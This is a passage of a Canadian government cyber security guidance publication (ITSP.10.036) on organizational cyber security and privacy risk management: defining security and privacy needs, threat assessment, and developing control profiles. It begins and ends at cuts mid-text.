officer (CSO).</p> <p>The federal <a href="https://laws-lois.justice.gc.ca/eng/acts/P-21/"><em>Privacy Act</em></a>, along with the <a href="https://www.canada.ca/en/treasury-board-secretariat/services/access-information-privacy/privacy/privacy-policies-guidance.html"><abbr title="Treasury Board Secretariat">TBS</abbr> privacy governance suite</a>, assigns responsibility for ensuring compliance with legislative and policy requirements to senior officials and information custodians overseeing programs that collect and use personal information. Additionally, the responsibility for assessing compliance with these activities is assigned to the head of the government organization, although this role is often delegated in practice to a senior official.</p> <p>The management of cyber security risks overlaps with the management of privacy risks as data containing personal information is increasingly present in information systems throughout the data lifecycle. Privacy breaches can arise from cyber security incidents when there is a loss of confidentiality and/or integrity during data processing. This publication addresses the privacy risks as they relate to cyber systems only.</p> <p><a href="https://www.cyber.gc.ca/en/guidance/cyber-security-privacy-risk-management/itsp10033">Security and privacy controls and assurance activities catalogue (ITSP.10.033)</a> now includes privacy controls and activities to ensure that government institutions protect and manage personal information. These new additions help identify, assess, monitor and mitigate compliance gaps in programs and activities involving the collection, creation, retention, use, disclosure and disposal of personal information. Additionally, they aim to ensure that privacy is architected and then engineered into the design and operation of <abbr title="Government of Canada">GC</abbr> information systems.</p> <p>Organizations use the <a href="https://www.tbs-sct.canada.ca/pol/doc-eng.aspx?id=18309"><abbr title="Treasury Board Secretariat">TBS</abbr> Directive on Privacy Practices, Appendix C: Standard on Privacy Impact Assessment</a> to support this objective by ensuring that privacy implications are appropriately identified, assessed and resolved before a new or substantially modified program or activity involving personal information is implemented. The privacy impact assessment (PIA) is the component of risk management that focuses on ensuring compliance with the <em>Privacy Act</em> requirements. It also assesses the privacy implications of new or substantially modified programs and activities involving personal information. PIAs should be conducted in a manner that is commensurate with the privacy impact identified and respects the operating environment of the government institution.</p> <h3 id="1.3">1.3 Scope and applicability</h3> <p>This publication provides guidelines to organizations on the cyber security and privacy risk management activities that are performed by cyber security and privacy functions as part of an organizational cyber security program. System lifecycle cyber security and privacy risk management activities (ITSP.10.037) provides guidelines on the cyber security and privacy risk management activities that are performed at the system level.</p> <p>Adherence to these guidelines presents many benefits for organizations. These include adhering to established risk management strategy and objectives, addressing key aspects of cyber security and privacy in an efficient manner, and consistently and cost-effectively managing cyber security and privacy risks.</p> <div class="panel panel-info"> <header class="panel-heading"><h3 class="panel-title"><abbr title="Government of Canada">GC</abbr>-specific note</h3> </header><div class="panel-body"> <p>The guidelines in this publication apply to departments<sup id="fn1-rf"><a class="fn-lnk" href="#fn1"><span class="wb-inv">Footnote </span>1</a></sup> subject to the <a href="https://www.tbs-sct.canada.ca/pol/doc-eng.aspx?id=16578"><abbr title="Treasury Board Secretariat">TBS</abbr> Policy on Government Security (PGS)</a> that rely on information systems to support non-critical to critical departmental business programs, services, and activities in Unclassified, Protected, and Classified environments. Compliance with the requirements in the <abbr title="Policy on Government Security">PGS</abbr> and its supporting instruments is mandatory for designated federal departments.</p> </div> </div> <h3 id="1.4">1.4 Audience</h3> <p>This publication is intended to serve a diverse audience, including:</p> <ul><li>individuals with enterprise-level responsibilities, including enterprise architects and enterprise security architects</li> <li>individuals with system-development responsibilities, including mission or business owners, program managers, system engineers, system security engineers, privacy practitioners, hardware and software developers, system integrators, and acquisition or procurement officials or executives</li> <li>individuals with logistical or disposition-related responsibilities, including program managers, procurement officials or executives, system integrators, and property managers</li> <li>individuals with security and privacy implementation and operations responsibilities, including mission or business owners, system owners, information custodians, system administrators, continuity planners and system security or privacy officers</li> <li>individuals with security and privacy assessment and monitoring responsibilities, including auditors, system evaluators, control assessors, independent verifiers and validators and analysts</li> <li>security and privacy officials or executives (for example, chief information officers (CIOs), <abbr title="chief security officers">CSOs</abbr>, and chief privacy officers (CPOs))</li> <li>commercial entities, including industry partners, that produce component products and systems, create security and privacy technologies, or provide services or capabilities that support cyber security or privacy</li> </ul><div class="panel panel-info"> <header class="panel-heading"><h3 class="panel-title"><abbr title="Government of Canada">GC</abbr>-specific note</h3> </header><div class="panel-body"> <p>In the <abbr title="Government of Canada">GC</abbr>, this publication is intended for the audiences above, as well as for individuals who support departmental cyber security and privacy risk management activities, such as:</p> <ul><li>individuals with system, information security, privacy, or risk management and oversight responsibilities, including authorizing officials, <abbr title="chief information officers">CIOs</abbr>, <abbr title="chief security officers">CSOs</abbr>, senior officials in the department’s security governance, designated officials for cyber security, and appropriate privacy officials or executives</li> <li><abbr title="chief privacy officers">CPOs</abbr>, officials with delegated authority under the <em>Privacy Act,</em> and privacy practitioners</li> <li>individuals who participate in the definition, design, development, installation, and operation of information systems; more specifically, authorizers, project managers, cyber security architects, cyber security engineers, cyber security assessors, and members of cyber security operations groups</li> </ul></div> </div> <h3 id="1.5">1.5 Publication taxonomy</h3> <p>This publication is part of a series of guidelines that fall under "Cyber security and privacy risk management: A lifecycle approach." The documents in the series are as follows:</p> <ul><li>Overview – Cyber security and privacy risk management: A lifecycle approach (ITSP.10.035)</li> <li>Organizational cyber security and privacy risk management activities (ITSP.10.036)</li> <li>System lifecycle cyber security and privacy risk management activities (ITSP.10.037)</li> <li><a href="/en/guidance/cyber-security-privacy-risk-management/itsp10033/">Security and privacy controls and assurance activities catalogue (ITSP.10.033)</a></li> <li><a href="/en/guidance/cyber-security-privacy-risk-management/suggested-organizational-security-privacy-control-activity-profile-medium-impact-itsp10033-01">Suggested organizational security and privacy control and activity profile – Medium impact (ITSP.10.033-01)</a></li> <li>Assessment of security and privacy controls and assurance activities (ITSP.10.033-02)</li> </ul><h3 id="1.6">1.6 Publication organization</h3> <p>The remainder of this publication is organized as follows:</p> <ul><li><a href="#2">Section 2: Cyber security and privacy risk management process</a> introduces the cyber security and privacy risk management process at a high level and explains how it influences the system-level process presented in ITSP.10.037</li> <li><a href="#3">Section 3: Relationships with external processes</a> outlines how the cyber security and privacy risk management process interfaces with external processes</li> <li><a href="#4">Section 4: Organizational cyber security and privacy risk management activities</a> describes the detailed process of managing cyber security and privacy risks in an organization</li> <li><a href="#5">Section 5: Injury assessment and categorization process</a> presents the injury assessment and categorization process, including definitions of key concepts and illustrative examples</li> </ul></section><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 class="text-info" id="2">2 Cyber security and privacy risk management process</h2> <p>To manage cyber security and privacy risks efficiently and cost effectively, ITSP.10.036 and ITSP.10.037 describe an approach that organizations can adapt to fit their culture, mission and business objectives, business needs for security and privacy, and threats relevant to their activities.</p> <p><a href="#fig1">Figure 1</a> depicts the cyber security and privacy risk management process that is suggested in ITSP.10.036 and ITSP.10.037. The figure shows that cyber security and privacy risk management activities are occurring at 2 distinct levels in an organization: the organizational level and the system level.</p> <!– IMAGE EN –> <div class="panel panel-default"> <div class="panel-body"> <figure id="fig1"><figcaption class="mrgn-bttm-md text-center"><strong>Figure 1 – Cyber security and privacy risk management process</strong></figcaption><img alt="Flow chart demonstrating security and privacy risk management process – Long description immediately follows" class="img-responsive center-block mrgn-bttm-lg" src="/sites/default/files/images/itsp10036-fig1-e.png" /><details class="brdr-tp brdr-rght brdr-bttm brdr-lft mrgn-bttm-sm"><summary>Long description – Figure 1: Cyber security and privacy risk management process</summary><p>This figure describes the high-level organizational cyber security and privacy risk management activities. The figure also describes the system lifecycle cyber security and privacy risk management activities within projects and operational groups. It highlights how the cyber security and privacy risk management activities at both levels act together in a continuous cycle to efficiently maintain and improve the security posture of organizational systems.</p> <p>The <strong>Organizational cyber security and privacy risk management activities</strong> are intended for organizational cyber security and privacy authorities and encompass the following steps:</p> <ul class="list-unstyled"><li><strong>4.1 Define</strong> the organizational cyber security and privacy needs <ul><li>Submits organizational cyber security threat assessment report to Projects and operational groups in charge of system lifecycle cyber security and privacy risk management activities</li> </ul></li> <li><strong>4.2 Develop</strong> organizational security and privacy control and activity profiles <ul><li>Disseminated approved organizational security and privacy control and activity profiles</li> </ul></li> <li><strong>4.3 Allocate</strong> security and privacy controls and activities <ul><li>Lists of controls and activities allocations (common, hybrid, system-specific) are submitted to Projects and operational groups in charge of system lifecycle cyber security and privacy risk management activities</li> </ul></li> <li><strong>4.4 Monitor and assess</strong> performance of security and privacy controls and activities</li> <li><strong>4.5 Maintain</strong> authorization</li> <li><strong>4.6 Update</strong> security and privacy control and activity profile(s) <ul><li>Then return to step 2, Develop organizational security and privacy control and activity profiles</li> </ul></li> </ul><p>The <strong>System lifecycle cyber security and privacy risk management activities</strong> enacted by projects and operational groups are aimed at project managers, security and privacy architects, assessors and engineers, and developers, among others. They encompass the following steps:</p> <ol><li>Concept: Define system cyber security and privacy needs</li> <li>Development: Architect and design secure systems</li> <li>Production: Implement, integrate, verify and validate secure systems</li> <li>Operations and support: Operate, monitor and maintain secure systems <ul><li>Submit Cyber security and privacy performance feedback to Organizational cyber security and privacy authorities to inform step 4, Monitor and assess performance of security and privacy controls and activities</li> </ul></li> <li>Retirement: Securely dispose of assets at retirement</li> </ol></details></figure></div> </div> <!– END IMAGE EN –> <p>At the organizational level, which is the focus of this publication, cyber security and privacy risk management activities are conducted by the organization’s cyber security and privacy functions (refer to <a href="#4">section 4</a>). To successfully carry out this process, organizational cyber security and privacy programs need to collaborate closely as their objectives can coincide and be complementary. The objectives of these activities are to:</p> <ul><li>define organizational cyber security and privacy needs and associated controls and activities</li> <li>allocate responsibility for security and privacy controls and activities</li> <li>continuously monitor and assess the performance of allocated controls and activities</li> <li>identify required updates to controls and activities (changes to existing controls/activities or addition of controls/activities) based on the results of the continuous monitoring, assessment, and authorization maintenance activities, and oversee the implementation of these updates</li> </ul><p>At the system level, cyber security and privacy risk management activities are conducted by information technology and operational technology (IT/OT) projects and <abbr title="information technology and operational technology">IT/OT</abbr> operations groups. They follow the implementation, operation and disposal phases of systems, as outlined in System lifecycle cyber security and privacy risk management activities (ITSP.10.037). The objectives of the system-level activities are to:</p> <ul><li>define cyber security and privacy needs as well as associated controls and activities for systems based on the activities of the cyber security and privacy functions</li> <li>design, develop, or acquire systems that satisfy defined controls and activities</li> <li>integrate, test, and install systems with security and privacy</li> <li>operate, monitor, and maintain the security and privacy of systems during the operations and maintenance phase</li> <li>securely dispose of assets when systems are retired</li> <li>securely dispose of personal information assets when they no longer are required by the organization</li> </ul></section><section><h2 class="text-info" id="3">3 Relationships with external processes</h2> <p>To fully benefit from this publication, organizations need to be aware of the following important relationships between the organizational cyber security and privacy risk management activities and other processes:</p> <ul><li><strong>Integrated risk management</strong> <ul><li>Organizational cyber security and privacy risk management activities can support organizational integrated risk management, as defined by the <a href="https://www.tbs-sct.canada.ca/pol/doc-eng.aspx?id=19422"><abbr title="Treasury Board Secretariat">TBS</abbr> Framework for the Management of Risk</a></li> <li>These activities form a continuous, proactive, and systematic process to understand, manage, and communicate cyber security and privacy risks from an organization-wide perspective</li> </ul></li> <li><strong>Business impact analysis</strong> <ul><li>Business impact analyses provide valuable insights for identifying an organization’s security and privacy requirements and for assessing the sensitivity and criticality of its business activities</li> <li>Together, these factors determine the appropriate security category for those activities</li> </ul></li> <li><strong>Enterprise architecture</strong> – An enterprise architecture function provides key inputs to help ensure that organization-wide cyber security and privacy requirements are taken into consideration when defining, allocating and updating controls and activities.</li> </ul><div class="panel panel-info"> <header class="panel-heading"><h3 class="panel-title"><abbr title="Government of Canada">GC</abbr>-specific note</h3> </header><div class="panel-body"> <p>In the <abbr title="Government of Canada">GC</abbr>, another process needs to be considered: the <strong>algorithmic impact assessment (AIA)</strong>. This is a mandatory risk assessment tool intended to support the <a href="https://www.tbs-sct.canada.ca/pol/doc-eng.aspx?id=32592"><abbr title="Treasury Board Secretariat">TBS</abbr> Directive on Automated Decision-Making</a>. It produces a risk value that reflects the potential risks of the automated decision system, and departments and agencies should consider this score as part of their risk management activities.</p> </div> </div> </section><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 class="text-info" id="4">4 Organizational cyber security and privacy risk management activities</h2> <p>This section describes organizational cyber security and privacy risk management activities that the Cyber Centre recommends be incorporated into an organizational security and privacy program. It also provides guidelines on how to effectively complete them.</p> <div class="panel panel-info"> <header class="panel-heading"><h3 class="panel-title"><abbr title="Government of Canada">GC</abbr>-specific note</h3> </header><div class="panel-body"> <p>Before incorporating ITSP.10.036 activities in their departmental security and privacy program, departments should ensure that their governance structure (roles, responsibilities, and decision-making authorities) aligns with the governance structure found in the latest <abbr title="Treasury Board Secretariat">TBS</abbr> policy instruments.</p> </div> </div> <p><a href="#fig2">Figure 2</a> <strong>Organizational cyber security and privacy risk management activities</strong> depicts the activities of the cyber security and privacy risk management process that are conducted at the organizational level. The main goal of these activities is to allocate and maintain a set of security and privacy controls and activities that are tailored to the specific security and privacy needs and objectives of an organization.</p> <p>The protection of personal information<sup id="fn2-rf"><a class="fn-lnk" href="#fn2"><span class="wb-inv">Footnote </span>2</a></sup> is a shared and multifaceted responsibility requiring concerted and coordinated efforts between the security and privacy functions throughout the risk management process.</p> <p>Key outputs of organizational cyber security and privacy risk management activities are control and activities profiles, and organizational threat repositories both of which serve as key inputs to the information system level of the risk management process for the deployment of controls and activities in information systems.</p> <!– IMAGE EN –> <div class="panel panel-default"> <div class="panel-body"> <figure id="fig2"><figcaption class="mrgn-bttm-md text-center"><strong>Figure 2 – Organizational cyber security and privacy risk management activities</strong></figcaption><img alt="Flow chart demonstrating organizational cyber security and privacy risk management activities – Long description immediately follows" class="img-responsive center-block mrgn-bttm-lg" src="/sites/default/files/images/itsp10036-fig2-e.png" /><details class="brdr-tp brdr-rght brdr-bttm brdr-lft mrgn-bttm-sm"><summary>Long description – Figure 2: Organizational cyber security and privacy risk management activities</summary><p>The figure presents a horizontal process flow diagram titled "Organizational cyber security and privacy risk management activities." There is a dark header that spans the top and states the target audience as organizational cyber security and privacy authorities. Along the left edge of the figure, a vertical side-bar says "Organizational cyber security and privacy functions."</p> <p>Across the center, there are six yellow rectangles representing the main organizational activities, arranged left to right and connected by right-pointing arrows. The activities are:</p> <ul class="list-unstyled"><li><strong>4.1 Define</strong> organizational cyber security and privacy needs</li> <li><strong>4.2 Develop</strong> organizational security and privacy control and activity profiles</li> <li><strong>4.3 Allocate</strong> security and privacy controls and activities</li> <li><strong>4.4 Monitor and Assess</strong> performance of security and privacy controls and activities</li> <li><strong>4.5 Maintain</strong> authorization</li> <li><strong>4.6 Update</strong> security and privacy controls and activities profile(s)</li> </ul><p>Each of the first 3 activities has a downward arrow to a white "key deliverable" box beneath it:</p> <ul><li>Under <strong>4.1</strong>: Organizational cyber security threat assessment report</li> <li>Under <strong>4.2</strong>: Disseminated approved organizational security and privacy control and activity profiles</li> <li>Under <strong>4.3</strong>: Lists of controls and activities allocation (common, hybrid, system-specific)</li> </ul><p>Under both <strong>4.1</strong> and <strong>4.3</strong>, there is a downward pointing arrow with a caption line that reads "Key inputs to the security and privacy engineering process."</p> <p>A large white upward-pointing arrow is positioned beneath the <strong>4.4</strong> section. The arrow is labeled "Cyber security and privacy performance feedback" and signifies that monitoring results feed back into the organizational process. To the right of the upward arrow, a note says "Output from system security and privacy control monitoring," to indicate that system-level monitoring produces feedback used by the organization to reassess and update, when necessary, its profiles and control allocations.</p> <p>The final activity, <strong>4.6 Update</strong>, is connected back toward the earlier step <strong>4.2 "Develop organizational security and privacy control and activity profiles"</strong> via a looping arrow along the top of the flow.</p> </details></figure></div> </div> <!– END IMAGE EN –> <p>The organizational cyber security and privacy risk management activities seek to achieve the following objectives:</p> <ul><li>Identify and document the business needs for security and privacy of organizational business activities</li> <li>Conduct and maintain organizational threat assessments that security and privacy authorities and practitioners can leverage to identify relevant threat actors, inform risk and robustness determinations throughout the development lifecycle, and produce more consistent outcomes</li> <li>Develop organizational controls and activities profiles tailored to business needs for security and privacy <ul><li>Leverage profile(s) in projects that implement or update organizational information systems</li> </ul></li> <li>Allocate the security and privacy controls and activities within the enterprise security architecture</li> <li>Define which controls and activities are common, hybrid or system-specific to support the assignment of responsibilities across the enterprise</li> <li>Coordinate between organizational security and privacy functions (for example, physical security and personnel security) to ensure a consistent approach to building and operating dependable information systems</li> <li>Monitor and assess the performance of implemented controls and activities in protecting organizational business activities Devise and implement corrective measures to improve performance and the organization’s overall security and privacy posture</li> </ul><h3 id="4.1">4.1 Define organizational cyber security and privacy needs</h3> <p>This section outlines the process for defining organizational cyber security and privacy needs. It includes the following sub-activities:</p> <ul><li>Define the scope of the organization’s cyber security and privacy risk assessment activities (<a href="#4.1.1">section 4.1.1</a>)</li> <li>Identify the business needs for security and privacy of organizational business activities (<a href="#4.1.2">section 4.1.2</a>)</li> <li>Perform injury assessment and categorization of organizational business activities (<a href="#4.1.3">section 4.1.3</a>)</li> <li>Select the organizational cyber security threat and risk assessment (TRA) methodology (<a href="#4.1.4">section 4.1.4</a>)</li> <li>Select the organizational privacy assessment methodology (<a href="#4.1.5">section 4.1.5</a>)</li> <li>Conduct an organizational cyber security threat assessment (<a href="#4.1.6">section 4.1.6</a>)</li> </ul><p>Each of these activities aiming to define organizational cyber security and privacy needs is described in the sections that follow. These activities are performed when first implementing the guidelines presented in this publication, and then as required based on the assessment of the security and privacy posture of an organization’s information systems (refer to <a href="#4.6">section 4.6</a>).</p> <h4 id="4.1.1">4.1.1 Define the scope of the cyber security and privacy risk assessment activities</h4> <p><strong>Objective:</strong> Define the scope of the organization’s cyber security and privacy risk assessment activities.</p> <p><strong>Suggested related roles:</strong> Senior security officials (for example, <abbr title="chief security officer">CSO</abbr>, chief information security officer (CISO)), senior privacy officials, cyber security advisors, enterprise security architects, privacy advisors, privacy architects, project directors</p> <p>The scope can be characterized by the:</p> <ul><li>organization’s programs, services, information, and business activities requiring protection</li> <li>organization’s programs, services, and activities involving the creation, collection, and handling of personal information that are under its control</li> <li>major organizational assets (for example, business applications, information systems, data centres, local areas networks, data processed and stored, information) and their geographical locations</li> <li>core technologies that are used in organizational information systems</li> <li>procurement strategies (for example, internal, outsourced)</li> </ul><p>The scope should clearly delineate the organizational business activities and assets that are within its boundaries, and those that are excluded and why. The scope should also identify external dependencies like external service providers.</p> <p><strong>Output:</strong> Definition of the scope of the organization’s cyber security and privacy risk assessment activities and personal information inventory.</p> <h4 id="4.1.2">4.1.2 Identify business needs for security and privacy</h4> <p><strong>Objective:</strong> Identify the business needs for security and privacy of organizational business activities.</p> <p><strong>Suggested related roles:</strong> Senior security officials, such as <abbr title="chief security officers">CSOs</abbr> and <abbr title="chief information security officers">CISOs</abbr>, senior privacy officials, cyber security advisors, privacy advisors, project directors</p> <p>Within the context of cyber security and privacy risk management, business needs for security and privacy refer to the need to protect organizational business activities and information against adverse events that could affect the ability of organizations to meet their mission, objectives, and obligations. Legislation or regulations that impose protection requirements for information systems and personal information, create business needs for security and privacy to ensure compliance. Business needs for security and privacy, in turn, shape formal security and privacy objectives. They may originate from:</p> <ul><li>requirements found in legislation, regulations, policies, directives, standards, jurisprudence and objectives governing organizational business activities and information management (for example, in the <abbr title="Government of Canada">GC</abbr>, a departmental results framework)</li> <li>generally or organizationally recognized information system threat exposures and compliance obligations</li> <li>contractual or negotiated obligations (for example, contracts, memoranda of understanding (MOUs), service level agreements (SLAs) and information sharing agreements (ISAs))</li> </ul><p>Business needs for security include privacy-related requirements needing the support of cyber security for privacy risk management purposes.</p> <p>Examples of business needs for security and privacy include the need to:</p> <ul><li>limit access to sensitive program information or personal information to authorized individuals for authorized actions</li> <li>limit secondary uses or disclosures of personal information</li> <li>verify the identity of citizens before disclosing personal information that relates to them</li> <li>ensure that only authorized individuals can approve financial payment to a recipient</li> </ul><p>Organizations should identify business needs for security and privacy with the help of business analysts, system owners, system architects and security/privacy architects. Useful inputs to this activity include business process documentation (for example, business process descriptions, use cases, concepts of operations (CONOPS)) and impact assessments (for example, business impact analysis, <abbr title="privacy impact assessment">PIA</abbr>, algorithmic impact assessment).</p> <p><strong>Output:</strong> Document stating the business needs for security and privacy for the organization’s business activities.</p> <h4 id="4.1.3">4.1.3 Perform injury assessment and categorization of organizational business activities</h4> <p><strong>Objective:</strong> Perform the assessment and categorization of injuries to organizational business activities.</p> <p><strong>Suggested related roles:</strong> Security advisors, privacy advisors, project director</p> <p>An injury category expresses the highest levels of expected injuries from threat compromise with respect to privacy and to the security objectives of confidentiality, integrity, and availability. Safety requirements may elevate the categorization for integrity and availability.</p> <p>Business activities are categorized by first determining the expected injuries from a cyber-related threat compromise to the national and non-national interests that the business activities serve and then determining the level of these expected injuries. While the breach of personal information may result in varying levels of injury, the compliance obligations do not change based on the type of the personal information. The comprehensive security categorization of the information should include consideration of the presence of personal information.</p> <p>Organizations can categorize their business activities following the process specified in <a href="#5">section 5</a>.</p> <p><strong>Output:</strong> Injury categorization report for organizational business activities.</p> <h4 id="4.1.4">4.1.4 Select organizational cyber security threat and risk assessment methodology</h4> <p><strong>Objective:</strong> Select the methodology by which security and privacy threats and risks will be assessed across the organization.</p> <p><strong>Suggested related roles:</strong> Senior security officials (<abbr title="chief security officer">CSO</abbr>, <abbr title="chief information security officer">CISO</abbr>), security advisors</p> <p>A cyber security <abbr title="threat risk assessment">TRA</abbr> methodology must be selected at this stage, as an organization will use the threat assessment portion when assessing threats to organizational business activities. In addition, projects will use this methodology when performing TRA activities.</p> <p>An example of a commonly used <abbr title="threat risk assessment">TRA</abbr> methodology in the <abbr title="Government of Canada">GC</abbr> is the <a href="https://www.cyber.gc.ca/en/tools-services/harmonized-tra-methodology">CSE-<abbr title="Royal Canadian Mounted Police">RCMP</abbr> Harmonized Threat and Risk Assessment (HTRA) Methodology</a>.</p> <p><strong>Output:</strong> Selection of organizational cyber security <abbr title="threat risk assessment">TRA</abbr> methodology.</p> <h4 id="4.1.5">4.1.5 Select the organizational privacy assessment methodology</h4> <p><strong>Objective:</strong> Select the methodology by which privacy risks and compliance gaps will be assessed across the organization.</p> <p><strong>Suggested related roles:</strong> Senior privacy officials, privacy advisors</p> <p>At this stage, a privacy assessment methodology needs to be selected to identify, assess, and mitigate potential privacy risks associated with new or modified programs, projects, or technologies.</p> <p>In the <abbr title="Government of Canada">GC</abbr>, privacy assessments follow <abbr title="Treasury Board Secretariat">TBS</abbr> policy, beginning with the completion of a privacy checklist template. This checklist helps determine whether an initiative requires a privacy protocol, a <abbr title="privacy impact assessment">PIA</abbr>, or no further privacy assessment. Each assessment methodology is built into its corresponding template, so selecting the appropriate template also determines the assessment approach.</p> <p><strong>Output:</strong> Selection of organizational privacy assessment methodology. In the <abbr title="Government of Canada">GC</abbr>, an additional output will be the completion of a privacy checklist that determines what template any additional privacy analysis should use.</p> <h4 id="4.1.6">4.1.6 Conduct an organizational cyber security threat assessment</h4> <p><strong>Objective:</strong> Conduct an initial organization-wide cyber security threat assessment that will guide the selection of security and privacy controls and activities, and that projects will leverage when implementing systems.<sup id="fn3-rf"><a class="fn-lnk" href="#fn3"><span class="wb-inv">Footnote </span>3</a></sup></p> <p><strong>Suggested related roles:</strong> Intelligence analysts, cyber security threat analysts</p> <p>This activity will identify and qualify threats of relevance to the in-scope organizational business activities.</p> <p>The cyber security threat assessment serves 2 purposes:</p> <ul><li>informing the <abbr title="threat risk assessment">TRA</abbr></li> <li>supporting threat context decisions</li> </ul><p>Organizations may specify a subset of all potential threats from which they want to protect their business activities. This implies that some threats may be identified and considered but be deemed out of scope for various reasons. For example, an organization may find that protecting against a threat would be too costly or complex, or that the protection would excessively limit a business activity’s supporting functionality. Threat information, including decisions and justification for excluding specific threats, is documented in an organizational threat context.</p> <p>An organization-wide threat assessment is a valuable tool that can be used to select, tailor, allocate, update, and improve the implemented security and privacy controls and activities. Its results, along with organizational business needs for security and privacy, form a strong foundation for developing organizational control and activity profiles.</p> <p>When developing organizational control and activity profiles, more focused, domain-specific threat repositories may be created to document detailed information on threats relevant to specific business domains.</p> <p>An effective organizational threat assessment should evaluate and consider:</p> <ul><li>key organizational business activities</li> <li>the injury assessment associated with these activities</li> <li>relevant threats to the business</li> <li>general exposures that could impact business activities (for example, physical locations vulnerable to earthquakes)</li> </ul><p>In the <abbr title="Government of Canada">GC</abbr>, departmental threat assessments are best conducted by multidisciplinary teams with the assistance of the CSO’s office, lead <abbr title="Government of Canada">GC</abbr> security agencies, and privacy practitioners.</p> <p><strong>Output:</strong> Organizational threat assessment repository documenting the threats and exposures of relevance to the business.</p> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h3 id="4.2">4.2 Develop organizational security and privacy control and activity profiles</h3> <p><strong>Objective:</strong> Create organizational security and privacy control and activity profiles that are tailored to security and privacy needs.</p> <p><strong>Suggested related roles:</strong> Senior security officials, such as <abbr title="chief security officers">CSOs</abbr> and <abbr title="chief information security officers">CISOs</abbr>, senior privacy officials, enterprise security architects, privacy architects, security advisors, privacy advisors</p> <p>Depending on their business scope (for example, managing a single initiative, overseeing multiple projects, or operating in multiple security domains) and the complexity of their business activities, organizations may maintain a single enterprise-wide profile or several domain-specific profiles tailored to different areas of their business.</p> <p>The cyber security and privacy functions of an organization are expected to collaborate on developing profiles since privacy risks may arise from unauthorized system activities. However, not all privacy risks associated with the handling of personal information in an information system falls within the scope of information security. Privacy risks can result from activities related to the creation, collection, retention, accuracy, use, disclosure, or disposition of personal information under the control of an organization. Hence, the privacy function of an organization will likewise select, allocate, monitor, and assess privacy controls in order to comply with legislative requirements.</p> <p>Organizational profiles are best developed with the support of several key organization-wide information management processes. These enterprise processes complement the cyber security and privacy risk management process and can assist organizations in appropriately select and tailor security and privacy controls and activities. The supporting processes are:</p> <ul><li>the review of the organizational business activities and their security and privacy needs</li> <li>the prioritization of organizational business activities according to strategic goals related to availability and business continuity (in general terms, this means ensuring that the most critical activities will continue or remain available)</li> <li>the definition of the types of information assets needed to successfully execute the departmental business activities, their criticality and sensitivity, and their internal and external flows</li> <li>the creation of data dictionaries that document the collections of personal information within the organization</li> <li>the definition of a conceptual enterprise architecture that includes cyber security and privacy requirements</li> </ul><p>There are 4 steps to developing organizational security and privacy control and activity profiles:</p> <ol><li>Define business domains</li> <li>Define security architecture approaches</li> <li>Select security and privacy controls and activities</li> <li>Approve the organizational security and privacy control and activity profiles</li> </ol><p>These 4 steps are described in detail in the subsections that follow.</p> <h4 id="4.2.1">4.2.1 Define business domains</h4> <p><strong>Objective:</strong> Define the business domains of an organization in support of developing the required organizational security and privacy control and activity profiles.</p> <p><strong>Suggested related roles:</strong> Enterprise security architects, privacy architects</p> <p>A business domain is characterized by the security categories of its business activities and their relevant cyber security threats. Therefore, business domains may have differing protection needs, leading to different profiles.</p> <p>For example, consider a set of business activities involving the distribution of non-sensitive publications and a second set of business activities involving high-value, critical financial transactions. In the latter scenario, the financial activities would likely have a higher injury category and face more significant threats. This analysis would lead to the definition of 2 domains requiring 2 different domain profiles.</p> <p>Organizations have some flexibility in how they define their business domains. They should document in detail how these domains are defined, the injury categories of the business activities, and the significance of the threat environment. Note that the organizational business activities should have been defined earlier (in whole or in part) during the injury assessment and categorization activity (see <a href="#4.1.3">section 4.1.3</a>).</p> <p>This activity produces business domain definitions. Each defined business domain should include</p> <ul><li>a description of the business domain’s business objectives, processes and information assets</li> <li>the injury category of the business domain</li> <li>a characterization of the threat environment of relevance to the business domain (that is, the highest deliberate threat (Td) level to be mitigated)</li> <li>a statement of the highest level of risk that the business owner deems acceptable</li> </ul><p><strong>Output:</strong> Business domain definitions, including the objectives, processes and information assets, the injury category, the threat environment, and a statement of the level of risk deemed acceptable.</p> <h4 id="4.2.2">4.2.2 Define security architecture approaches</h4> <p><strong>Objective:</strong> Define a set of security architecture approaches that align with the organizational cyber security and privacy philosophy, culture, objectives, and priorities.</p> <p><strong>Suggested related roles:</strong> Enterprise security architects, privacy architects</p> <p>At the organizational level, security architecture approaches influence the selection of certain technical security controls and activities related to the security engineering principles applied in the approach. At the information system level, security architecture approaches play an equally important role as a guide for tailoring security controls in profiles to the specific security needs of information systems and for specifying appropriate security designs.</p> <p>Enterprise security architects and privacy architects will likely seek approval from senior officials for their chosen security architecture approaches, as these decisions often have budget and capability implications.</p> <p>When defining security architecture approaches, organizations should take into consideration the following inputs:</p> <ul><li>business needs for security and privacy (<a href="#4.1.2">section 4.1.2</a>)</li> <li>injury assessment and categorization of organizational business activities (<a href="#4.1.3">section 4.1.3</a>)</li> <li>threats documented in the organizational threat assessment (<a href="#4.1.6">section 4.1.6</a>)</li> <li>generally accepted cyber security principles and best practices such as <ul><li>Sherwood Applied Business Security Architecture’s (SABSA) <a href="https://sabsa.org/other-resources/">Enterprise Security Architecture – A Business-Driven Approach</a></li> <li>Cyber Centre’s <a href="https://www.cyber.gc.ca/sites/default/files/cyber/publications/itsp80022-e.pdf">Baseline security requirements for network security zones (ITSP.80.022 v2.0)</a></li> <li>National Institute of Standards and Technology’s (NIST) <a href="https://csrc.nist.gov/pubs/sp/800/160/v1/r1/final">Special Publication (SP) 800-160 Vol.1 Rev.1 Engineering Trustworthy Secure Systems</a></li> <li><abbr title="National Institute of Standards and Technology">NIST</abbr>’s <a href="https://csrc.nist.gov/pubs/sp/800/160/v2/r1/final">SP 800-160 Vol. 2 Rev. 1 Developing Cyber-Resilient Systems: A Systems Security Engineering Approach</a></li> </ul></li> <li>generally accepted privacy principles and best practices such as <ul><li>Fair Information Principles</li> <li>Generally Accepted Privacy Principles (GAPPs)</li> </ul></li> </ul><p>The following are examples of security architecture approaches 